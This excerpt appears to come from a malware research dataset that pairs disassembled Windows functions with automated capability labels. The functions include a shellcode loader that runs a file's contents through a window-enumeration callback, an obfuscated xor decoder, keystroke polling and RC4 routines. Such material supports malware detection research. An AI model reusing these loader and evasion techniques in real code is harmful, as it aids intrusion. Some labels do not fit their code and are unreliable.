joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000b780
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ebx, ecx
and esp, 0xfffffff8
sub esp, 0x28
test byte [0x100173c0], 8
jne 0x1000b858
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x1000b900
mov edx, dword [ebx + 8]
test edx, edx
jne 0x1000b840
mov ecx, ebx
call sym.msvcirt.dll_protected:_int___thiscall_streambuf::allocate_void_
cmp eax, 0xffffffff
je 0x1000b900
mov edx, dword [ebx + 0x2c]
test edx, edx
je 0x1000b888
mov eax, dword [ebx + 0x28]
cmp edx, eax
jbe 0x1000b7e8
lea edx, [eax + 1]
mov dword [ebx + 0x28], edx
movzx eax, byte [eax]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov edi, dword [ebx + 0x24]
mov esi, edx
sub esi, edi
test edi, edi
je 0x1000b900
mov eax, dword [ebx + 0x4c]
mov dword [esp + 8], esi
mov dword [esp + 4], 1
mov dword [esp + 0xc], eax
mov dword [esp], edi
call dword [sym.imp.msvcrt.dll_fread]
test eax, eax
jle 0x1000b900
mov edx, dword [ebx + 0x24]
mov esi, eax
mov dword [esp + 8], eax
neg esi
mov dword [esp + 4], edx
mov edx, dword [ebx + 0x2c]
sub edx, eax
mov dword [esp], edx
call dword [sym.imp.msvcrt.dll_memmove]
mov eax, dword [ebx + 0x2c]
add eax, esi
jmp 0x1000b7d3
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll_fgetc]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], str.__p__n
mov dword [esp + 8], str.stdiobuf_underflow
mov dword [esp + 4], 0x100173c0
mov dword [esp], 3
call fcn.10007230
jmp 0x1000b79b
mov edi, dword [ebx + 0x10]
mov esi, dword [ebx + 0x14]
sub esi, edi
mov edx, esi
shr edx, 0x1f
add edx, esi
mov esi, edx
sar esi, 1
lea edx, [edi + esi]
test byte [0x100173c0], 8
jne 0x1000b8c0
movd xmm0, edi
movd xmm1, edx
mov dword [ebx + 0x2c], edx
punpckldq xmm0, xmm1
movq qword [ebx + 0x24], xmm0
jmp 0x1000b7ef
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], str.__p__p__p__p__n
mov dword [esp + 8], str.streambuf_setg
mov dword [esp + 4], 0x100173c0
mov dword [esp], 3
mov dword [esp + 0x24], edx
call fcn.10007230
mov edx, dword [esp + 0x24]
jmp 0x1000b8a7
mov eax, 0xffffffff
jmp 0x1000b7dc
Function at 0x1000cac3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword fs:[0x2c]
push ebx
push esi
mov esi, dword [0x100139e8]
mov ebx, ecx
push edi
mov edi, edx
mov dword [ebp - 8], edi
mov esi, dword [eax + esi*4]
mov eax, dword [0x10013e80]
cmp eax, dword [esi + 4]
jg 0x1000cb78
lea eax, [ebx + edi]
cmp eax, ebx
ja 0x1000cb01
mov eax, 0x10dd
jmp 0x1000cb71
mov eax, dword [0x10013e7c]
cmp edi, eax
jbe 0x1000cb0f
push 0x32
pop eax
jmp 0x1000cb71
mov edi, dword [ebp + 8]
lea ecx, [ebp - 4]
and dword [ebp - 4], 0
lea esi, [eax - 1]
push ecx
not esi
push dword [edi]
and esi, ebx
push eax
push esi
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
jne 0x1000cb37
call dword [sym.imp.kernel32.dll_GetLastError]
jmp 0x1000cb71
mov ecx, dword [0x10013e7c]
mov eax, dword [ebp - 8]
dec ecx
mov edx, dword [ebp - 4]
dec eax
add eax, ebx
mov dword [edi], edx
not ecx
and ecx, eax
cmp ecx, esi
je 0x1000cb6c
lea eax, [ebp - 4]
push eax
push dword [edi + 4]
push dword [0x10013e7c]
push ecx
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x1000cb2f
mov edx, dword [ebp - 4]
mov dword [edi + 4], edx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
mov esi, 0x10013e80
push esi
call fcn.1000cd54
cmp dword [0x10013e80], 0xffffffff
pop ecx
jne 0x1000caf3
push 9
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x28]
push esi
mov dword [0x10013e7c], eax
call fcn.1000cd54
mov edi, dword [ebp - 8]
pop ecx
jmp 0x1000caf3

Function at 0x1000cd54
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x1000cd63
pop dword [ebp - 0x30]
mov eax, 0x1000cd63
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x36ccb
push 0
mov eax, 0xc8d8ea58
sub eax, 0xb8d7a9f4
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x452c5d6b
sub ecx, 0x452c1e42
mov esi, eax
mov edi, 0x10018600
add edi, dword [ebp - 0x30]
mov edx, 0xc119f5d9
xor dword [ebp - 0x14], 0xef26e6ac
mov ebx, dword [edi]
xor dword [ebp - 4], eax
add ebx, edx
add dword [ebp - 0x24], 0x371b12f8
mov dword [esi], ebx
mov dword [ebp - 0x20], 0x23af0de9
add esi, 0xd2ab234f
sub esi, 0xd2ab234b
add edi, 0xf84f102a
add edi, 0x7b0efda
loop 0x1000cdb1
add eax, 0x6069bd83
sub eax, 0x6068ce0c
xor ebx, ebx
add ebx, eax
add eax, 0x16edf0f0
add eax, 0xe9120f15
mov ecx, 0x4770e86e
add ecx, 0xc88f1792
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x10001000
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push ebx
push esi
push edi
xor eax, eax
je 0x10001013
adc dword [edx], esp
xor esi, dword [ebx]
fld xword [eax - 1]
add eax, dword [eax]
add byte [ebp - 0x4167b], cl
call dword [ebx + 0x50]
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x417]
push ebx
push eax
mov byte [ebp - 0x418], bl
call fcn.10004690
add esp, 0xc
push 0x400
lea eax, [ebp - 0x418]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [sym.imp.USER32.dll_EnumChildWindows]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x418]
push 0x5c
push eax
call fcn.10001140
pop ecx
pop ecx
cmp eax, ebx
je 0x10001062
mov byte [eax + 1], bl
mov eax, str.rels
mov esi, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10001069
lea edi, [ebp - 0x418]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x10001079
mov ecx, eax
shr ecx, 2
push ebx
rep movsd dword es:[edi], dword [esi]
push 0x80
push 3
push ebx
push ebx
mov ecx, eax
push 0x80000000
lea eax, [ebp - 0x418]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
nop
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov dword [ebp - 4], eax
push 4
push 0x1000
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
mov esi, eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
mov byte [esi], 0xb8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 8]
push eax
push 0x40
push dword [ebp - 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0xc], ebx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
push ebx
push esi
push ebx
call dword [sym.imp.USER32.dll_EnumChildWindows]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004046
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10009a80]
jne 0x10004050
repz ret
jmp fcn.100051cd
Function at 0x10004e62
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10009a80]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.100013ea
and dword [ebp - 0x14], 0
cmp dword [0x1000a47c], 0
mov dword [ebp - 0x18], eax
jne 0x10004f15
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10004fbd
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10004fbd
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1000a47c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1000a480], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1000a484], eax
call edi
push eax
call esi
mov dword [0x1000a48c], eax
test eax, eax
je 0x10004f15
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1000a488], eax
mov eax, dword [0x1000a488]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10004f6e
cmp dword [0x1000a48c], ecx
je 0x10004f6e
push eax
call esi
push dword [0x1000a48c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10004f6e
test ebx, ebx
je 0x10004f6e
call edi
test eax, eax
je 0x10004f65
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10004f65
test byte [ebp - 8], 1
jne 0x10004f6e
or dword [ebp + 0x10], 0x200000
jmp 0x10004fa1
mov eax, dword [0x1000a480]
cmp eax, dword [ebp - 0x18]
je 0x10004fa1
push eax
call esi
test eax, eax
je 0x10004fa1
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10004fa1
mov eax, dword [0x1000a484]
cmp eax, dword [ebp - 0x18]
je 0x10004fa1
push eax
call esi
test eax, eax
je 0x10004fa1
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1000a47c]
call esi
test eax, eax
je 0x10004fbd
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10004fbf
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004046
leave
ret
Function at 0x100076b0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x1008f9ab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.100849d3
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x10007732
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.100828e5
mov eax, dword [eax]
push 0x10645ca0
push eax
call fcn.10074964
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.10084c5e
test bl, bl
je 0x10007732
push 0x10645ca0
lea ecx, [esp + 0xc]
call fcn.10084fee
push 0x10645cac
lea ecx, [esp + 0xc]
call fcn.10084fee
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x1000776e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.10084c5e
jmp 0x10007839
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x100077f2
lea edx, [esp + 0x7c]
push 0x10645ca8
push edx
call fcn.10074964
add esp, 8
test eax, eax
je 0x100077f2
lea eax, [esp + 0x7c]
push 0x10645ca4
push eax
call fcn.10074964
add esp, 8
test eax, eax
je 0x100077f2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10007782
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.10084c5e
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x10008030
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x10008092
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x100080a0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x1008fa2b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x106550d8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x100081d8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x10008106
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.10084c5e
xor eax, eax
jmp 0x1000824f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.10084d9b
push esi
lea ecx, [esp + 0xc]
call fcn.1008502a
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x1000822d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.10008030
test eax, eax
jne 0x1000822d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.10008030
test eax, eax
jne 0x1000822d
lea eax, [esp + 0x14]
push 0x10645cbc
push eax
call fcn.100759e0
mov esi, eax
add esp, 8
test esi, esi
jne 0x1000820c
lea ecx, [esp + 0x14]
push 0x10645cb8
push ecx
call fcn.10075960
mov esi, eax
add esp, 8
test esi, esi
jne 0x1000820c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x1000820f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.10084d4b
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x1000811e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.10084c5e
xor eax, eax
jmp 0x1000824f
mov byte [esi], 0
push 0x10645cb4
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.10084c5e
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x100175c0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x1001762e
cmp si, 0x69
ja 0x1001762e
add esi, 0xffd0
cmp si, 0x11
je 0x100175fe
push 0x11
call edi
test ax, ax
jge 0x100175fe
or esi, 0x2000
cmp si, 0x10
je 0x10017613
push 0x10
call edi
test ax, ax
jge 0x10017613
or esi, 0x4000
cmp si, 0x12
je 0x10017628
push 0x12
call edi
test ax, ax
jge 0x10017628
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x1001763b
mov esi, 0xbd
jmp 0x100175ef
cmp si, 0x6e
jne 0x10017648
mov esi, 0xbe
jmp 0x100175ef
cmp si, 0x6f
jne 0x100175e9
mov esi, 0xbf
jmp 0x100175ef

Function at 0x10018e20
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x10665820]
xor edx, edx
cmp eax, edx
jne 0x10018e46
xor eax, eax
mov byte [eax + 0x10665720], al
inc eax
cmp eax, 0x100
jl 0x10018e2e
mov dword [0x10665820], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x10665720
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x10018ed7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x10018eaa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x10018e78
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x10018f50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x10018fa3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x10018f8a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10020020
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x100201b8
cmp ebp, ebx
jle 0x100201b8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x1002007e
dec eax
or eax, 0xfffffff8
inc eax
je 0x10020085
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x10020094
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x1002009b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.1008499f
add esp, 4
cmp eax, ebx
je 0x100200bc
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.1008499f
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x100201ae
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x10020195
mov al, byte [edx]
cmp al, 0xc0
jbe 0x10020181
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x10020176
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x10020184
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x10020184
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x10020120
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x10020111
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x10023720
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x10090f18
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x10023759
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.1008c31b
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.1008c367
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.100237e0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.1008c3a4
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
Function at 0x10027e30
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x10091748
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x6c]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x74]
push edi
push eax
mov eax, dword [esp + 0x74]
push ecx
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, esi
call fcn.100289b0
lea edx, [esp + 0x18]
push eax
push edx
call dword [sym.imp.USER32.dll_CopyRect]
mov eax, dword [esp + 0x18]
xor edi, edi
xor ecx, ecx
cmp eax, edi
setl cl
dec ecx
xor edx, edx
and ecx, eax
mov eax, dword [esp + 0x1c]
cmp eax, edi
mov dword [esp + 0x18], ecx
setl dl
dec edx
and edx, eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x20], edx
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x10027ed9
mov eax, dword [esp + 0x6c]
push ebx
mov ebx, eax
xor ecx, ecx
xor edx, edx
xor esi, esi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.10027ac0
mov edx, eax
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push ecx
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
push edi
lea ecx, [esp + 0x4c]
call fcn.1008b5cc
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], edi
call fcn.1003db90
mov edx, dword [esp + 0x5c]
add esp, 0xc
lea ecx, [esp + 0x18]
push 2
push ecx
push edx
call dword [sym.imp.GDI32.dll_LPtoDP]
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x38]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
lea edx, [esp + 0x38]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_IntersectRect]
mov esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, esi
mov dword [esp + 0x64], 0xffffffff
mov dword [edx], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x34]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x48]
call fcn.1008b63e
mov ecx, dword [esp + 0x5c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14